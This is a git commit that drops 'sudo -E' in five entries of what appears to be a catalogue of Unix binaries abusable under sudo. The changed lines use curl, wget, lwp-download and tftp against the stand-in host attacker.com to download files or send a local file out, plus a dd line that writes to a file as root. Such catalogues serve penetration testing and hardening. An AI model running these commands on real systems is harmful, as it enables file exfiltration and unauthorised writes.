Remove useless instances of sudo -E

master
Andrea Cardaci 2020-06-10 22:53:45 +02:00
parent fbd887e91a
commit 9cd6849b8e
5 changed files with 5 additions and 5 deletions

View File

@ -28,5 +28,5 @@ functions:
code: | code: |
URL=http://attacker.com/file_to_get URL=http://attacker.com/file_to_get
LFILE=file_to_save LFILE=file_to_save
sudo -E curl $URL -o $LFILE sudo curl $URL -o $LFILE
--- ---

View File

@ -15,5 +15,5 @@ functions:
sudo: sudo:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo "data" | sudo -E dd of=$LFILE echo "data" | sudo dd of=$LFILE
--- ---

View File

@ -15,5 +15,5 @@ functions:
- code: | - code: |
URL=http://attacker.com/file_to_get URL=http://attacker.com/file_to_get
export LFILE=file_to_save export LFILE=file_to_save
sudo -E lwp-download $URL $LFILE sudo lwp-download $URL $LFILE
--- ---

View File

@ -22,6 +22,6 @@ functions:
- description: Send local file to a TFTP server. - description: Send local file to a TFTP server.
code: | code: |
RHOST=attacker.com RHOST=attacker.com
sudo -E tftp $RHOST sudo tftp $RHOST
put file_to_send put file_to_send
--- ---

View File

@ -23,5 +23,5 @@ functions:
code: | code: |
export URL=http://attacker.com/file_to_get export URL=http://attacker.com/file_to_get
export LFILE=file_to_save export LFILE=file_to_save
sudo -E wget $URL -O $LFILE sudo wget $URL -O $LFILE
--- ---